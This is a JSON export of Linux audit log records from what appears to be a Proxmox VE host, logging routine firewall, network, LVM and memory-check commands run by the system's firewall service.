{"@timestamp":1781965845681,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.681:67347): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965765334,"@rawstring":"node=pve type=PATH msg=audit(1781965765.334:67009): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845677,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.677:67346): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965765334,"@rawstring":"node=pve type=PATH msg=audit(1781965765.334:67009): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845676,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.676:67345): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965765330,"@rawstring":"node=pve type=PATH msg=audit(1781965765.330:67008): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845676,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.676:67344): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965765330,"@rawstring":"node=pve type=PATH msg=audit(1781965765.330:67008): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845671,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.671:67343): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965765322,"@rawstring":"node=pve type=PATH msg=audit(1781965765.322:67007): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845663,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.663:67342): proctitle=\"ip6tables-save\""} {"@timestamp":1781965765322,"@rawstring":"node=pve type=PATH msg=audit(1781965765.322:67007): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.655:67341): proctitle=\"iptables-save\""} {"@timestamp":1781965765317,"@rawstring":"node=pve type=PATH msg=audit(1781965765.317:67006): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845649,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.649:67340): proctitle=69707365740073617665"} {"@timestamp":1781965765317,"@rawstring":"node=pve type=PATH msg=audit(1781965765.317:67006): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845639,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.639:67339): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965765310,"@rawstring":"node=pve type=PATH msg=audit(1781965765.310:67005): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845629,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.629:67338): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965765310,"@rawstring":"node=pve type=PATH msg=audit(1781965765.310:67005): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845050,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.050:67337): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965765302,"@rawstring":"node=pve type=PATH msg=audit(1781965765.302:67004): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965845020,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965845.020:67336): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965765302,"@rawstring":"node=pve type=PATH msg=audit(1781965765.302:67004): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965844507,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965844.507:67335): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765297,"@rawstring":"node=pve type=PATH msg=audit(1781965765.297:67003): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965844507,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965844.507:67334): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765297,"@rawstring":"node=pve type=PATH msg=audit(1781965765.297:67003): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965844507,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965844.507:67333): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765294,"@rawstring":"node=pve type=PATH msg=audit(1781965765.294:67002): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965844500,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965844.500:67332): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765294,"@rawstring":"node=pve type=PATH msg=audit(1781965765.294:67002): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965844500,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965844.500:67331): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765294,"@rawstring":"node=pve type=PATH msg=audit(1781965765.294:67001): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965844500,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965844.500:67330): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765294,"@rawstring":"node=pve type=PATH msg=audit(1781965765.294:67001): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965840882,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965840.882:67328): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965765294,"@rawstring":"node=pve type=PATH msg=audit(1781965765.294:67000): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965840882,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965840.882:67329): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965765289,"@rawstring":"node=pve type=PATH msg=audit(1781965765.289:66999): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965840881,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965840.881:67327): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965765289,"@rawstring":"node=pve type=PATH msg=audit(1781965765.289:66999): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965839489,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965839.489:67326): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765289,"@rawstring":"node=pve type=PATH msg=audit(1781965765.289:66999): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965839489,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965839.489:67325): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765282,"@rawstring":"node=pve type=PATH msg=audit(1781965765.282:66998): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965839489,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965839.489:67324): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765282,"@rawstring":"node=pve type=PATH msg=audit(1781965765.282:66998): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965839481,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965839.481:67323): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765274,"@rawstring":"node=pve type=PATH msg=audit(1781965765.274:66997): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965839481,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965839.481:67322): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765274,"@rawstring":"node=pve type=PATH msg=audit(1781965765.274:66997): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965839481,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965839.481:67321): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965765267,"@rawstring":"node=pve type=PATH msg=audit(1781965765.267:66996): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835613,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.613:67320): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965765267,"@rawstring":"node=pve type=PATH msg=audit(1781965765.267:66996): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835606,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.606:67319): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965765257,"@rawstring":"node=pve type=PATH msg=audit(1781965765.257:66995): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835603,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.603:67318): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965765257,"@rawstring":"node=pve type=PATH msg=audit(1781965765.257:66995): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835603,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.603:67317): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965765246,"@rawstring":"node=pve type=PATH msg=audit(1781965765.246:66994): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835598,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.598:67316): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965765246,"@rawstring":"node=pve type=PATH msg=audit(1781965765.246:66994): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835591,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.591:67315): proctitle=\"ip6tables-save\""} {"@timestamp":1781965764834,"@rawstring":"node=pve type=PATH msg=audit(1781965764.834:66993): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835579,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.579:67314): proctitle=\"iptables-save\""} {"@timestamp":1781965764834,"@rawstring":"node=pve type=PATH msg=audit(1781965764.834:66993): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.558:67313): proctitle=\"ip6tables-save\""} {"@timestamp":1781965764809,"@rawstring":"node=pve type=PATH msg=audit(1781965764.809:66992): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835547,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.547:67312): proctitle=\"iptables-save\""} {"@timestamp":1781965764809,"@rawstring":"node=pve type=PATH msg=audit(1781965764.809:66992): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835542,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.542:67311): proctitle=\"ebtables-restore\""} {"@timestamp":1781965764212,"@rawstring":"node=pve type=PATH msg=audit(1781965764.212:66991): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835539,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.539:67310): proctitle=\"ebtables-restore\""} {"@timestamp":1781965764212,"@rawstring":"node=pve type=PATH msg=audit(1781965764.212:66991): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835533,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.533:67309): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965764212,"@rawstring":"node=pve type=PATH msg=audit(1781965764.212:66990): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835528,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.528:67308): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965764212,"@rawstring":"node=pve type=PATH msg=audit(1781965764.212:66989): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835521,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.521:67307): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965764207,"@rawstring":"node=pve type=PATH msg=audit(1781965764.207:66988): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835515,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.515:67306): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965764207,"@rawstring":"node=pve type=PATH msg=audit(1781965764.207:66988): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835509,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.509:67305): proctitle=697073657400726573746F7265"} {"@timestamp":1781965764207,"@rawstring":"node=pve type=PATH msg=audit(1781965764.207:66987): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835503,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.503:67304): proctitle=\"ip6tables-save\""} {"@timestamp":1781965764207,"@rawstring":"node=pve type=PATH msg=audit(1781965764.207:66986): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835496,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.496:67303): proctitle=\"iptables-save\""} {"@timestamp":1781965759194,"@rawstring":"node=pve type=PATH msg=audit(1781965759.194:66985): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835492,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.492:67302): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965759194,"@rawstring":"node=pve type=PATH msg=audit(1781965759.194:66985): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835488,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.488:67301): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965759194,"@rawstring":"node=pve type=PATH msg=audit(1781965759.194:66984): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835487,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.487:67300): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965759194,"@rawstring":"node=pve type=PATH msg=audit(1781965759.194:66983): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835487,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.487:67299): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965759187,"@rawstring":"node=pve type=PATH msg=audit(1781965759.187:66982): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835482,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.482:67298): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965759187,"@rawstring":"node=pve type=PATH msg=audit(1781965759.187:66982): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835474,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.474:67297): proctitle=\"ip6tables-save\""} {"@timestamp":1781965759187,"@rawstring":"node=pve type=PATH msg=audit(1781965759.187:66981): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835467,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.467:67296): proctitle=\"iptables-save\""} {"@timestamp":1781965759187,"@rawstring":"node=pve type=PATH msg=audit(1781965759.187:66980): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835462,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.462:67295): proctitle=69707365740073617665"} {"@timestamp":1781965755234,"@rawstring":"node=pve type=PATH msg=audit(1781965755.234:66979): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835453,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.453:67294): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965755234,"@rawstring":"node=pve type=PATH msg=audit(1781965755.234:66979): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965835444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965835.444:67293): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965755231,"@rawstring":"node=pve type=PATH msg=audit(1781965755.231:66978): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965834906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965834.906:67292): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965755231,"@rawstring":"node=pve type=PATH msg=audit(1781965755.231:66978): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965834873,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965834.873:67291): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965755230,"@rawstring":"node=pve type=PATH msg=audit(1781965755.230:66977): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965834469,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965834.469:67290): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755230,"@rawstring":"node=pve type=PATH msg=audit(1781965755.230:66977): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965834469,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965834.469:67289): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755230,"@rawstring":"node=pve type=PATH msg=audit(1781965755.230:66976): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965834469,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965834.469:67288): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} 